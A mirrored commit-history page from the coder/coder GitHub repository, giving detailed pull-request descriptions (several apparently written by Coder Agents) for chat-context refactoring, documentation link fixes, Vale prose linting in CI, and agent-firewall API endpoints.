mirror of
https://github.com/coder/coder.git
synced 2026-09-22 05:05:20 +08:00
a1ec9df3458667079c2f9e02aa7608d166ec5d67
2524
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
cd56ab9e33 |
refactor: remove legacy live-read and injected-history chat context paths (#26585)
This PR makes the agent-pushed pinned snapshot (`chat_context_resources`) the sole source of workspace context for chats, completing the "Release 5" cleanup. It removes legacy mechanisms now superseded by the snapshot that agents push over dRPC (`PushContextState`) and refresh via `chat-context/refresh`. Removed: - **Live-read at turn time.** MCP tool discovery, skill live-body reads, and the instruction/skill history fallback that dialed the workspace on every turn. - **Context injected as message history.** The `persist_workspace_context` generation action and its decision-loop guard. - **The legacy write path.** `POST`/`DELETE /api/v2/workspaceagents/me/experimental/chat-context`, the agentsdk `AddChatContext`/`ClearChatContext` methods, and the CLI one-shot writer. - **The `chats.last_injected_context` column** and all of its plumbing (migration `000529`, queries, `db2sdk`, `dbauthz`, audit table, and the frontend `ContextUsageIndicator` fallback). Subagent context inheritance no longer copies parent context messages; children now hydrate the parent's pinned `chat_context_resources` on create, which yields an identical pin for the same workspace and agent. What stays (still served by the live agent connection, not the snapshot): `read_skill_file` supporting-file reads, `read_skill` supporting-file listing, and MCP tool execution. > [!NOTE] > Migration `000529` drops `chats.last_injected_context` and recreates the `chats_expanded` view without it. The down migration restores both. <details> <summary>Decision log (D1-D5)</summary> - **D1 (subagent inheritance):** Re-point inheritance from the legacy message copy to a pinned hydrate. Children call `hydrateChatContextOnCreate` instead of copying parent context messages. - **D2 (`persist_workspace_context`):** Remove the generation action entirely along with the decision-loop guard it existed to satisfy, since context is never injected into history anymore. - **D3 (legacy HTTP + CLI):** Remove the experimental `chat-context` POST/DELETE endpoints, the agentsdk methods, and the CLI one-shot. The dRPC push + `chat-context/refresh` replace them. - **D4 (frontend fallback):** Remove the `last_injected_context` fallback in `ContextUsageIndicator`; pinned `resources` are the sole source. - **D5 (sequencing):** Ship as a single PR rather than a stacked pair. </details> --- Coder Agents generated on behalf of @kylecarbs. |
||
|
|
ed908ed019 |
fix(docs): repoint 7 broken external and anchor links (DOCS-415) (#26572)
Closes [DOCS-415](https://linear.app/codercom/issue/DOCS-415). ## TL;DR Repoints 7 broken links across 5 docs files that the 2026-06-22 weekly `check-docs.yml` Linkspector run flagged. Two other links from the same run (the dead `nix` ref and the dead `reflectoring.io` ref in `CONTRIBUTING.md`) were already folded into [#26341](https://github.com/coder/coder/pull/26341). ## Why Broken external and anchor links degrade reader trust, leak SEO juice, and make the docs look stale. The weekly `check-docs` job exists precisely to catch this kind of rot before customers do; the surfacing-to-fix turnaround on these 7 is one PR. Run that surfaced them: [actions/runs/27948011619 job 82697664858](https://github.com/coder/coder/actions/runs/27948011619/job/82697664858). ## Scope | File | Line(s) | Old target | New target | Why | |------|---------|-----------|------------|-----| | `docs/tutorials/best-practices/organizations.md` | 62 | anchor `#update-template-metadata-by-id` | `#update-template-settings-by-id` | API endpoint renamed in [#19228](https://github.com/coder/coder/pull/19228) (Aug 2025). New heading at line 1105 of `docs/reference/api/templates.md`. | | `docs/install/registry-mirror-artifactory.md` | 197 | JFrog `terraform-registry` | `terraform-opentofu-and-terraform-backend-repositories` | JFrog consolidated their Terraform / OpenTofu / Backend docs into a single page. | | `docs/admin/templates/extending-templates/modules.md` | 76, 206 | JFrog `set-up-a-terraform-module/provider-registry` and `terraform-registry` | same consolidated JFrog page (root, no anchor) | Same JFrog consolidation. Anchor dropped, see decision log. | | `docs/admin/integrations/dx-data-cloud.md` | 84 | `https://help.getdx.com/en/` | `https://docs.getdx.com/` | DX migrated their help center to a separate docs domain. | | `docs/about/contributing/frontend.md` | 37, 71 | `https://reactrouter.com/en/main` | `https://reactrouter.com/` | React Router dropped the `/en/main` prefix. | ## Validation - All 7 replacement URLs return HTTP 200 (manual `curl -L -o /dev/null -w '%{http_code}'` per URL; linkspector's puppeteer crashed in the agent env, so it was run case-by-case) - `make lint/markdown lint/emdash` clean locally - Pre-commit hook (`scripts/githooks/pre-commit` -> `make pre-commit-light`) clean - No `/docs/` route changes; pure markdown content ## Not triggering `/coder-agents-review` Docs-only markdown edit, no CI or build config changes; per `AGENTS.md` the bot review is reserved for product / CI changes. `doc-check` handles this category. ## Pre-mortem | Concern | Mitigation | |---|---| | Replacement URL also turns out to be broken later | All 7 verified HTTP 200 today; next weekly `check-docs` run will catch any future regression. | | JFrog anchor drop on `modules.md` (76, 206) loses navigation context | Verified the consolidated JFrog page has no clean section anchor for the original target; linking the root page is the honest fix. If JFrog ships a better TOC anchor later, a follow-up can reattach. | | Anchor rename in `organizations.md` was actually a different rename | Confirmed via PR #19228 (Aug 2025) which is the exact rename that produced `## Update template settings by ID`. | <details> <summary>Decision log</summary> **Why drop the anchor on the JFrog `modules.md` links (76 + 206)**: JFrog's new consolidated page (`/terraform-opentofu-and-terraform-backend-repositories`) doesn't expose the original `set-up-a-terraform-module/provider-registry` section as a fragment-link target. The honest fix is to link the page root; readers can scroll. The `registry-mirror-artifactory.md:197` reference uses the same root link for symmetry. **Why DX `docs.getdx.com` over `help.getdx.com`**: DX's help center at `help.getdx.com/en/` now returns 404. They moved to a separate `docs.getdx.com` domain with a different content structure. Linking the docs root is the closest analog to the original "browse our docs" intent. **Why React Router root over `/en/main`**: React Router unified their docs under the root URL. The `/en/main` prefix is no longer routable. The root URL is the canonical successor. </details> <details> <summary>CI: <code>audit-docs-paths</code> failure (pre-existing, unrelated)</summary> The `audit-docs-paths` job in `.github/workflows/weekly-docs.yaml` fails on this PR because its `Fetch redirects.json` step issues an unauthenticated `curl` to a file in private `coder/coder.com` and gets a 404 (exit code 22). Same failure on every recent PR in this repo. Tracked in [DOCS-409](https://linear.app/codercom/issue/DOCS-409) and fixed in [#26571](https://github.com/coder/coder/pull/26571), which authenticates the fetch through the Contents API. My changes are docs-content only (5 markdown files, 7 line changes) and don't touch the TS/TSX paths or `redirects.json` that the audit examines, so this is a pre-existing CI break, not a regression introduced here. </details> --- *Generated by Coder Agents on @nickvigilante's behalf.* |
||
|
|
ee3572ab9a |
feat: wire Vale prose linter into docs CI (#25467)
Wires Vale into docs CI as an advisory (non-blocking) prose-lint step. Closes [DOCS-40](https://linear.app/codercom/issue/DOCS-40). > **Integration update (rebased onto `main`).** Since this branch was opened, `main` consolidated docs linting into the **required** `lint-docs` job in `ci.yaml` and removed the standalone `docs-ci.yaml` ([#25608](https://github.com/coder/coder/pull/25608)). This PR adds Vale to that `lint-docs` job instead of resurrecting `docs-ci.yaml`, and the `docs/.style/` scaffold defers to the merged [#25466](https://github.com/coder/coder/pull/25466) (DOCS-180). Vale stays advisory. > **Post-review refactor.** Following the Coder Agents review, Vale is now invoked through `mise exec "aqua:errata-ai/vale"` (the same pattern as `actionlint`/`zizmor`) instead of a bespoke `curl`/`tar` download. This removed the GNU-only `grep -oP` version extraction and `uname`/arch mapping that broke on macOS BSD grep, and the prose step now skips paths a PR deletes. See the resolved review threads for CRF-17/19/20/21/22. A sample of what this check does is as follows: <img width="1443" height="1293" alt="image" src="https://github.com/user-attachments/assets/cf68dbf9-d9df-49ba-8dbf-200875bc289e" /> ## What changes - `.vale.ini` at the repo root: Google base + Coder (custom, empty in v1) + curated write-good. `alex` rules are pulled in a la carte. Inline comments justify every enable/disable. - `mise.toml`: pin Vale `3.7.1` via aqua. `mise.lock`: lock that pin across all platforms so `mise install --locked` (used by `build_image`) resolves it. - `Makefile`: a `docs/.style/.vale-synced` sentinel that gates `vale sync`, and a `lint/prose` target that runs `vale --no-exit`. Both invoke Vale via `mise exec "aqua:errata-ai/vale" -- vale ...`, so mise owns the version and the OS/arch download (no hand-rolled install path). - `.github/workflows/ci.yaml`: append Vale steps to the existing required `lint-docs` job: `Detect changed Markdown`, `Restore Vale styles`, `Prepare Vale styles` (`make docs/.style/.vale-synced`), `Vale prose lint`, and a default-branch-only `Save Vale styles`. They lint only changed Markdown under `docs/` that still exists on disk, with a problem matcher for inline PR annotations. - `.github/vale-problem-matcher.json`: parses `vale --output=line` so alerts surface as annotations on the Files Changed tab. - `.gitignore` and the workflow cache `path:`: use `docs/.style/styles/*` plus a `!docs/.style/styles/Coder` negation so adding a package does not require parallel edits. - `.markdownlint-cli2.jsonc`: ignore the synced styles so `make lint/markdown` does not lint upstream READMEs. Scaffold prose under `docs/.style/` and `.claude/docs/DOCS_STYLE_GUIDE.md` / `AGENTS.md` come from the merged DOCS-180; this PR no longer touches them. Net diff against `main` is the 8 Vale-wiring files only. ## Severity policy (v1) Rule severity reflects two things together: the rule's false-positive rate against real Coder docs and the gravity of the rule. Low FPs plus high gravity argues for `error`; lower gravity or more judgment calls argue for `warning` or `suggestion`. v1 lands most rules at `warning` and the wordiness rules at `suggestion`. A rule promotes to `error` only when (a) its false-positive rate against real content is effectively zero and (b) the existing-content violation count for that rule is also zero. Vale exits non-zero only on error-level alerts regardless of `MinAlertLevel`; the Makefile and CI invoke Vale with `--no-exit` so the baseline error count from un-overridden Google rules does not fail the build while real failures (bad config, missing files) still propagate. ## CI integration Vale runs as steps appended to the required `lint-docs` job in `ci.yaml`, gated on changed Markdown: 1. **`Detect changed Markdown`** (`tj-actions/changed-files`) scopes to changed `**.md`; the prose step re-filters to `docs/` (the `docs/**.md` glob silently skips dot-prefixed dirs and would miss `docs/.style/style-guide.md`). 2. **`Restore Vale styles`** (`actions/cache/restore`), keyed off `hashFiles('.vale.ini', 'mise.toml', 'docs/.style/styles/Coder/**')`. mise manages the Vale binary, so only the synced styles are cached. 3. **`Prepare Vale styles`** runs `make docs/.style/.vale-synced` (`mise exec ... vale sync`). 4. **`Vale prose lint`** filters the changed set to `docs/` paths still present on disk, then runs `mise exec ... vale --no-exit --output=line`, emitting inline annotations via the problem matcher. 5. **`Save Vale styles`** writes the cache, gated to `refs/heads/main` only so PR runs cannot poison the cache other branches restore from (the zizmor `cache-poisoning` concern). **Every Vale step is `continue-on-error: true`.** This is a deliberate change from the original standalone-workflow design: now that Vale lives inside the *required* `lint-docs` job, a transient `vale sync` network failure (or first-use `mise` install blip) would otherwise block merges. `continue-on-error` keeps Vale advisory, so only the markdownlint / table-formatter checks above (`pnpm check-docs`) remain merge-blocking. `vale --no-exit` additionally keeps the baseline error count from un-overridden Google rules from failing the step. ## Verification - `actionlint` clean on `ci.yaml` (local + `make lint/actions/actionlint`); `zizmor --persona regular` reports no findings. - `make lint/prose` on the full `docs/` corpus: ~406 errors, ~5,346 warnings, ~7,928 suggestions across 461 files, exit 0 (`--no-exit`), Vale `3.7.1` installed by mise. - Net diff vs `main` is the 8 Vale-wiring files only; the `docs/.style/` scaffold already matches `main`. <details> <summary>Implementation plan and decision log</summary> ### Why this rule set The Vale evaluation against the full docs corpus (measured 2026-05-18) produced ~43,940 raw violations across six candidate base styles. The selection here drops Microsoft and RedHat (overlap with Google, and RedHat's Spacing rule hammers technical IDs), and proselint (Annotations rule treats `> [!NOTE]` admonitions as TODO markers). Within the kept styles: - **Google** is the base. Disables: `EmDash` (conflicts with `make lint/emdash`), `Latin` (i.e./e.g. are fine for our audience), `Spacing` (4,500 errors on `codersdk.SomeType` patterns in the auto-generated API reference). Softened: `Parens` to `suggestion`, `WordList` to `warning`. - **write-good** is the base, with `Passive` and `E-Prime` off. `TooWordy` and `ThereIs` are suggestions; `Weasel` is a warning. - **alex** is cherry-picked (not in `BasedOnStyles`): `Ablist`, `Condescending`, `LGBTQ`, `ProfanityLikely`, `Race`, `Suicide` at warning. The `ProfanityMaybe`/`ProfanityUnlikely` rules trip on `execute`, `kill`, `failed`, and `attack`, which read as technical vocabulary in our context. - **Coder** is in `BasedOnStyles` but the directory is empty in v1. Rules land through the per-rule tickets in the [Docs style guide](https://linear.app/codercom/project/docs-style-guide-7828445b9afc) project. ### Why `mise exec` instead of a download block Vale is pinned in `mise.toml` like `actionlint` and `zizmor`, so invoking it via `mise exec "aqua:errata-ai/vale" -- vale ...` makes the pin the single source of truth and lets mise handle the OS/arch-specific download. This replaced an earlier ~30-line `curl`/`tar` block whose GNU-only `grep -oP ...\K` version extraction returned empty on macOS BSD grep. Note: the bare `vale` short name in `mise exec` ignores the pin and resolves to the latest release, so the full aqua key is required. ### Why `vale sync` instead of vendoring The three style packages weigh ~272 KB combined, so vendoring is cheap. But Vale's ecosystem treats `Packages = ` + `vale sync` as canonical, the upstream LICENSE files are not in the package tarballs (would need to be added manually), and the CI cache makes the sync nearly free after the first run. Sticking with the canonical pattern keeps the repo lean and the upgrade path obvious. ### Why `lint/prose` is not in `lint:` or `lint-light:` Vale on the full docs corpus takes ~20s on cold caches. Forcing every pre-commit through that would be aggressive for a feature that ships as warnings. `make lint/typos` follows the same pattern (it is in `lint-light` but not `lint`; CI invokes it directly). v1 keeps Vale opt-in locally and CI-only by default; promote to `lint:` once the rule set stabilizes. ### Exit-code handling Two mechanisms combine, and the choice changed when the step moved into the required `lint-docs` job: - `vale --no-exit` suppresses Vale's non-zero exit on alerts, so the baseline error-level violations from un-overridden Google rules do not fail the step while the cleanup PRs land. Real failures (config invalid, file missing) still exit non-zero. - `continue-on-error: true` on every Vale step. Because the steps now run inside the *required* `lint-docs` job, a `vale sync` download/network blip must not block merges. The original (standalone, non-required) design rejected `continue-on-error` for showing a misleading yellow badge; in a required job that tradeoff flips, and advisory-yellow is strictly preferable to merge-blocking-red on an infrastructure flake. `|| true` in the Makefile was also rejected: it swallows missing-config failures indiscriminately. ### Pre-mortem - **Generated docs noise**: `docs/reference/` is dominated by auto-generated content (clidocgen, apidocgen, auditdocgen, metricsdocgen). The architectural decision is to fix the generators, not exclude paths in Vale. Google.Spacing is the only rule silenced specifically to defer the generator fix; everything else surfaces as warnings. - **First-run cost**: `mise` installs the pinned Vale (a single small binary) and `vale sync` pulls the style packages on a cold run. The Actions cache keyed off `hashFiles('.vale.ini', 'mise.toml', 'docs/.style/styles/Coder/**')` makes subsequent runs near-instant; the `Coder/**` hash is defense-in-depth against [actions/toolkit#713](https://github.com/actions/toolkit/issues/713) so a future cache release that regresses path-negation cannot serve a stale `Coder/` from cache. - **Required-job blast radius**: moving Vale into the required `lint-docs` job means any Vale step failure would gate merges. Mitigated by `continue-on-error` on all Vale steps plus a clean skip when no changed `docs/` Markdown remains on disk, so only `pnpm check-docs` stays blocking. - **Cross-platform install**: handled by mise (aqua backend) rather than a hand-rolled `uname`/arch map, which removes the macOS BSD-grep break the review flagged. - **Deleted files**: `all_changed_files` is ACMRD and lists paths a PR removes; the prose step filters to files still present on disk so Vale does not error on a missing file. - **Local-vs-CI parity**: CI lints changed files only; local `make lint/prose` lints the full tree. This mirrors `make lint/markdown` (full tree) vs the changed-files CI step. Acceptable for v1. </details> --- *Filed via [Coder Agents](https://coder.com/docs/ai-coder/agents) on Nick's behalf.* |
||
|
|
917dbde439 |
fix: regen feature stage docs from HEAD & enforce generation (#26528)
Generate the experimental and beta tables in docs/install/releases/feature-stages.md from the current source tree instead of release tags + GitHub API because we found the table of beta features was stale in recent release(s). This approach works now that Coder publishes per-release docs. This change was assisted by Coder Agents. |
||
|
|
c0f854c289 |
feat: report pinned chat context resources on chat API (#26570)
Surfaces a chat's pinned workspace-context resources on the single-chat GET and refresh responses, so clients can show *what* context the prompt was built from, not just whether it drifted. ## What's included - **codersdk**: `ChatContextResource` (plus `ChatContextResourceKind` and `ChatContextResourceStatus`) and `ChatContextMCPTool`, and a new `Chat.Context.Resources` field (metadata only, no bodies). It is populated only on the single-chat GET/refresh response; list and watch payloads stay nil to remain lightweight. - **coderd/x/chatd**: `Server.ContextResources`, which builds the metadata-only list from the chat's pinned `chat_context_resources` rows. Non-OK resources (invalid / unreadable / oversize / excluded) are reported with their status and error so the UI can explain why a resource was dropped from the prompt instead of silently omitting it. The shared protojson body decoders are extracted so the prompt and detail paths reuse them. - **coderd**: `getChat` and `refreshChatContext` enrich the response with the resource list. Failures are non-fatal (the chat stays usable without the detail). ## Scope / what's deferred This is an incremental split from #26466. This PR reports only the **resource inventory**. The pinned-context drift *diff* (the per-source `changes` set and the "View changes" dialog) is intentionally deferred to a later split; the existing `dirty` bit already signals that context changed. MCP resources are reported for display only; they are not injected into the prompt (a future RFC item). <details> <summary>Design notes</summary> - The resource list is the chat's full pinned inventory (instruction files, skills, and MCP configs/servers), preserving the query's `source ASC` order. OK-but-empty instruction files, OK skills with no name, and untracked kinds (reserved plugin/hook/subagent/command) are skipped. - MCP tool names are reported with the agent's `"<server>__"` prefix stripped so they read as the server exposes them. - The detail is computed on read and attached only on the single-chat GET and refresh responses; list and watch payloads omit it to stay lightweight. - `refreshChatContext` enriches its own response (mirroring `getChat`) so the client reflects a refresh immediately, without a full reload. </details> <details> <summary>Testing</summary> - `go test ./coderd/x/chatd/ -run 'TestPinnedContextResources|TestContextResources|TestChatContextDirtyFromAgentPush'` (unit + integration on embedded Postgres) passes. The integration test exercises the GET and refresh enrichment end-to-end. - `go build`, `go vet`, `golangci-lint`, and `gofmt` are clean. - `make gen` regenerated `apidoc`, `swagger.json`, `docs/reference/api/*`, and `typesGenerated.ts`. </details> --- *This PR was created by Coder Agents on behalf of @kylecarbs.* |
||
|
|
401aa58eeb | feat: add schema changes for autostop notification (#26417) | ||
|
|
bd893a4504 |
docs: restore Bedrock static credentials walkthrough (#26563)
## Summary Restores the step-by-step "Obtaining static Bedrock credentials" walkthrough that was present on the v2.32.6 `ai-bridge/setup` page but missing from the current `ai-gateway/providers` page. The current page mentions static credentials in a single line but no longer explains how to create the IAM user and access key in the AWS console. This PR brings back that walkthrough, adapted to the current database/dashboard-managed provider flow. ## Changes - Add an `#### Obtaining static Bedrock credentials` subsection under the Amazon Bedrock provider section in `docs/ai-coder/ai-gateway/providers.md`. - Keep the AWS console steps (choose region, generate API keys, create access key) from v2.32.6. - Replace the deprecated `CODER_AIBRIDGE_BEDROCK_*` environment-variable configuration step with guidance to enter the credentials when adding/editing the provider via the dashboard or AI Providers API, matching the post-v2.34 database-managed model. <details> <summary>Context and decisions</summary> - Source: [`docs/ai-coder/ai-bridge/setup.md` at v2.32.6](https://coder.com/docs/@v2.32.6/ai-coder/ai-bridge/setup) "Obtaining Bedrock credentials" section. - The old flow set provider config via environment variables, which are deprecated since v2.34 (providers are now stored in the database and managed via dashboard/API). The restored content keeps the AWS-side credential-creation steps but routes the final configuration step through the current provider management flow rather than env vars. - Open questions from [AIGOV-432](https://linear.app/codercom/issue/AIGOV-432/restore-bedrock-static-credentials-docs-from-v2326) (whether other pages also need this, and whether the content needs further accuracy updates) are left for review. </details> Closes [AIGOV-432](https://linear.app/codercom/issue/AIGOV-432/restore-bedrock-static-credentials-docs-from-v2326). > [!NOTE] > This PR was generated by Coder Agents on behalf of @dannykopping. --------- Co-authored-by: Nick Vigilante <nickvigilante@users.noreply.github.com> |
||
|
|
e458692cb8 |
refactor(docs): convert absolute coder/coder blob/tree/main links to relative (DOCS-351) (#26341)
Closes [DOCS-351](https://linear.app/codercom/issue/DOCS-351). > [!WARNING] > **DO NOT MERGE** until [DOCS-349](https://linear.app/codercom/issue/DOCS-349) ([coder.com#877](https://github.com/coder/coder.com/pull/877)) has shipped to production and baked for at least one Vercel cycle. > > Without DOCS-349, the relative links in this PR resolve to broken docs-route URLs (`/docs/helm/coder/values.yaml` -> 404) instead of GitHub URLs tagged with the displayed docs version. DOCS-349 fixes the rewriter to classify these as GitHub blob/tree URLs with the page's resolved ref. ## TL;DR Converts 121 absolute `https://github.com/coder/coder/(blob|tree)/main/<path>` links across 39 docs markdown files to relative paths. After this lands AND DOCS-349 deploys, every one of these links will follow the displayed docs version (mainline tag on bare URLs, explicit tag on `/@vX.Y.Z/`, `main` on `/@main/`) instead of always pointing to `main`. ## Why Today a reader on `/docs/@v2.30.0/install/docker` follows a `compose.yaml` link and arrives at `main`'s `compose.yaml`, which doesn't necessarily match what the docs page describes. Helm values, Terraform templates, and source-code references in particular drift across versions. The fix is to let the coder.com rewriter substitute the page's resolved ref into the URL; that only works on relative links. ## Example payoff (post-DOCS-349) | URL | Today (absolute, always `main`) | After (relative + rewriter) | |---|---|---| | `/docs/install/docker` | `https://github.com/coder/coder/blob/main/compose.yaml` | `https://github.com/coder/coder/blob/v2.34.1/compose.yaml` (today's mainline) | | `/docs/@v2.30.0/install/docker` | same as above | `https://github.com/coder/coder/blob/v2.30.0/compose.yaml` | | `/docs/@main/install/docker` | same as above | `https://github.com/coder/coder/blob/main/compose.yaml` | ## Scope - **121 conversions** across **39 files**. - Verb breakdown: `tree/main` (directories) and `blob/main` (files), both flipped to relative paths. - Line anchors (`#L23-L24`) and query strings preserved verbatim. - Conversion is mechanical: relative path computed from the doc file's directory to the target via `os.path.relpath`. Any path starting at the same directory or below gets a `./` prefix; otherwise `../` chains. ## Rebased on main The branch was rebased onto `main` after the DOCS-350 hotfix ([#26339](https://github.com/coder/coder/pull/26339)) merged. The hotfix repointed 3 `docs-backend-contrib-guide` refs in `backend.md` to `main`, which then needed the same `main` -> relative conversion this PR is doing for the other 121 links. The conflict was resolved by reapplying the mechanical conversion to `backend.md` after taking the hotfix's content. Net result: those 3 links land here as relative, same as everything else. New HEAD `3f501cb622`. ## Inline fix folded in: dead `nix` link - `docs/about/contributing/CONTRIBUTING.md:7` -> `../../../nix` The original absolute URL `https://github.com/coder/coder/tree/main/nix` already returned 404 today. Repointed to `flake.nix` (modern Nix entrypoint, what the prose "Nix environment" semantically refers to). Closes [DOCS-357](https://linear.app/codercom/issue/DOCS-357) here since the `check-docs` Linkspector job surfaced it during rebase; cheaper to fix inline than in a separate single-line PR. ## Out of scope (filed separately) - [DOCS-350](https://linear.app/codercom/issue/DOCS-350): 3 dead `docs-backend-contrib-guide` branch refs in `backend.md` ([#26339](https://github.com/coder/coder/pull/26339), merged). - [DOCS-352](https://linear.app/codercom/issue/DOCS-352): 10 SHA-pinned `(blob|tree)/<sha>` links pending intent review. - [DOCS-355](https://linear.app/codercom/issue/DOCS-355): code-server analog (4 absolute `(blob|tree)/main` links in `coder/code-server`). - [DOCS-356](https://linear.app/codercom/issue/DOCS-356): 2 upstream content bugs in `coder/code-server/docs/CONTRIBUTING.md` (independent of this PR). ## Not triggering `/coder-agents-review` Docs-only edit; per `AGENTS.md` the bot review is reserved for product/CI changes. ## Pre-mortem | Concern | Mitigation | |---|---| | Merging before DOCS-349 deploys regresses ~120 currently-working links into 404s on coder.com | Clear DO-NOT-MERGE banner; tracked as blocker in Linear. | | Relative path computed incorrectly (off-by-one `..`) | Verified all 114 newly-relative non-md/non-image paths resolve to existing files in the repo (only exception is the pre-existing dead `nix` link above). | | Line anchors stripped during conversion | Preserved by the substitution regex; verified `#L<n>-L<m>` cases in `airgap.md` and `speed-up-templates.md`. | | Future code reorgs change file locations | Relative links will start pointing to nothing. Same failure mode as absolute links pointing to renamed files; can be caught with a future link-checker job. | ## Validation ``` $ grep -rE 'github\.com/coder/coder/(blob|tree)/main' docs --include="*.md" | wc -l 0 $ git diff --stat origin/main | tail -1 39 files changed, 118 insertions(+), 118 deletions(-) ``` 114 newly-relative paths verified to resolve to existing repo files (Python `os.path.exists` check on each computed target). <details> <summary>Decision log + planning context</summary> **Why relative over `(blob|tree)/{{currentDocsVersion}}/...` templating**: relative paths require zero markdown-system support and zero upstream churn beyond this one PR. Templating would require a preprocessor on `coder.com` side AND a convention upstream authors have to remember; relative paths just work in a plain editor and `github.com`'s own renderer too. **Why `./` prefix on same-directory targets**: makes the conversion grep-able later (`grep -E '\((\.\./|\./)'`). **Why preserve `#L<n>-L<m>` anchors verbatim**: the anchor is meaningful to the linked file's content, not to the URL form; keeping it as-is preserves authorial intent. If the file later changes such that the line range drifts, that's a different problem the SHA-pin audit ([DOCS-352](https://linear.app/codercom/issue/DOCS-352)) will surface. </details> --- *Generated by Coder Agents on @nickvigilante's behalf.* ## Drive-by external link fix folded in `docs/about/contributing/CONTRIBUTING.md:296` cited `https://reflectoring.io/meaningful-commit-messages/` which is returning HTTP 503 (the host appears to be down site-wide right now). `check-docs` Linkspector flagged it after the rebase. Replaced with `https://cbea.ms/git-commit/` (Chris Beams' canonical "If applied, this commit will..." article, confirmed 200), which is the original source of the rule the prose recites anyway. |
||
|
|
f5cb2e547e |
feat: include rotated agent logs in support bundles (#26055)
Support bundles previously captured only the active coder-agent.log, losing history across agent restarts. Add an optional `after` filter to the agent's /debug/logs endpoint: without it the endpoint is unchanged (active log only, 10 MiB cap); with it the response includes the active log plus rotated coder-agent-*.log files modified after the cutoff, newest first. Support bundles request the last 24h. Closes #25395 |
||
|
|
adad5bdd49 |
feat: surface agent firewall correlation in AI Bridge sessions API (#26416)
Add `agent_firewall_session_id` and `agent_firewall_sequence_number`
fields to `AIBridgeThread` in the `GET
/api/v2/aibridge/sessions/{session_id}` response. These fields link each
thread to its agent firewall confinement session so the frontend can
discover the boundary session and compute sequence ranges for
interleaving firewall events within the thread timeline.
The database columns already exist on `aibridge_interceptions`
(migration 000520) and are already selected by
`ListAIBridgeSessionThreads`. This PR surfaces them through the SDK type
and the `db2sdk` conversion.
Depends on #24814
**Naming note:** The RFC uses `boundary_session_id` /
`boundary_sequence_number`, but the codebase standardized on
`agent_firewall_*` naming in the DB migration. The API fields follow the
existing convention.
</details>
> [!NOTE]
> This PR was authored by Coder Agents.
|
||
|
|
335d6bda1b |
feat: add GET /api/v2/agent-firewall/sessions/{id}/logs endpoint (#24816)
Add a `GET /api/v2/agent-firewall/sessions/{id}/logs` endpoint that
returns agent firewall audit logs for a given session, sorted by
sequence number ascending.
The endpoint supports `seq_after` and `seq_before` (exclusive bounds)
and `limit` query parameters. This enables the frontend to fetch exactly
the firewall events that fall between two AI Bridge interceptions within
a thread, as described in FR 4 of the Boundary/Bridge correlation RFC.
Authorization reuses the `boundary_log` RBAC resource (owner and auditor
can read; members cannot). Returns 404 for unauthorized users to avoid
leaking existence information.
The endpoint is enterprise-only, gated behind `FeatureBoundary`
entitlement, matching the session endpoint from #24814.
Depends on #24814
> [!NOTE]
> This PR was authored by Coder Agents.
|
||
|
|
4f8acfaeff |
docs: add Codex WebSocket fallback troubleshooting (#26565)
## Summary Adds a Troubleshooting section to the Codex CLI AI Gateway client docs covering the WebSocket-to-HTTPS transport fallback. Recent Codex CLI versions default to the WebSocket runtime for the Responses API. AI Gateway does not support WebSocket transport, so each request attempts a WebSocket connection, fails, and falls back to HTTPS, surfacing: ```text Falling back from WebSockets to HTTPS transport. ``` The doc explains the cause and the fix: set `supports_websockets = false` in the `[model_providers.ai_gateway]` block in `~/.codex/config.toml` to force HTTPS directly and remove the fallback delay. Closes [AIGOV-453](https://linear.app/codercom/issue/AIGOV-453/document-codex-cli-websocket-fallback-workaround). <details> <summary>Note on the config value</summary> The original request and the Linear issue referenced enabling websocket support / `support_websockets = false`. The authoritative Codex CLI [config reference](https://developers.openai.com/codex/config-reference) confirms: - The key is `supports_websockets` (trailing "s"). - It declares whether a provider supports the Responses API WebSocket transport. - Setting it to `false` is the documented workaround to force HTTPS and stop the fallback attempts. Since AI Gateway does not support WebSockets, `supports_websockets = false` is the correct value. `= true` would assert support that does not exist and keep the fallback happening. </details> --- This PR was generated by Coder Agents on behalf of @dannykopping. |
||
|
|
8b970e7ff3 |
docs: clarify Agents vs Chats API reference pages (#26021)
## Problem The REST API reference page at [`/docs/reference/api/agents`](https://coder.com/docs/reference/api/agents) is confusing: by the name alone, a reader looking for the *AI Coder Agents* programmatic API would assume this is the right page. In fact, those endpoints are for the *workspace agent daemon* (the `coder_agent` Terraform resource / `workspaceagent` daemon). The actual AI Coder Agents API is documented at [`/docs/reference/api/chats`](https://coder.com/docs/reference/api/chats). Both pages compound the confusion by being rendered with a bare `# Agents` / `# Chats` heading and no descriptive intro. The sidebar entries are similarly ambiguous (`Agents` and `Chats` with no descriptions). ## Root cause The reference pages are generated by `scripts/apidocgen/generate.sh` (swag → widdershins → postprocess). The widdershins template (`scripts/apidocgen/markdown-template/main.dot`) already renders `data.resource.description` directly under each section heading: ``` <!-- APIDOCGEN: BEGIN SECTION --> {{= data.tags.section }}# {{= r}} {{? data.resource.description }}{{= data.resource.description}}{{?}} ``` …but the swag annotations in `coderd/coderd.go` never declared `@tag.name` / `@tag.description` for any tag, so the descriptions were always empty. ## Changes - `coderd/coderd.go`: add `@tag.name Agents` / `@tag.description …` and `@tag.name Chats` / `@tag.description …` annotations next to the existing `@title` / `@version` block. - `docs/manifest.json`: rename the sidebar entry `Agents` → `Workspace Agents` and add `description` fields to both API sidebar entries (every other top-level section in the manifest has descriptions; the API children did not). - Regenerate `coderd/apidoc/swagger.json`, `coderd/apidoc/docs.go`, `docs/reference/api/agents.md`, and `docs/reference/api/chats.md` via `scripts/apidocgen/generate.sh` + `pnpm exec markdownlint-cli2 --fix` + `pnpm exec markdown-table-formatter` + `scripts/biome_format.sh` (matching the Makefile's `coderd/apidoc/.gen` pipeline). Resulting diff is intentionally minimal — 6 files, 35 insertions / 3 deletions. ## After this PR The Agents page will render: > # Agents > > Workspace agent endpoints. These power the workspace agent daemon defined by the `coder_agent` Terraform resource (sometimes called the workspace daemon). This API is NOT the AI Coder Agents API. For programmatic access to AI Coder Agents (formerly Tasks), see the Chats API. The Chats page will render: > # Chats > > Programmatic API for Coder AI Agents (the user-facing "Coder Agents" / "Chats" product). Experimental. Use these endpoints to create, list, and manage AI coding agent sessions. For background and migration from the Tasks API, see the AI Coder docs. And the sidebar entry for the workspace-agent endpoints becomes `Workspace Agents` instead of `Agents`. ## Out of scope (potential follow-ups) - `docs/reference/api/chat.md` is a 7-byte stub — likely dead. Could be deleted in a follow-up. - Larger rename of the `Agents` Swagger tag (and/or the `coder_agent` Terraform resource) to something like `Workspace Agents` / `workspace_daemon` would more thoroughly fix the naming collision, but that's a much bigger change. Created on behalf of 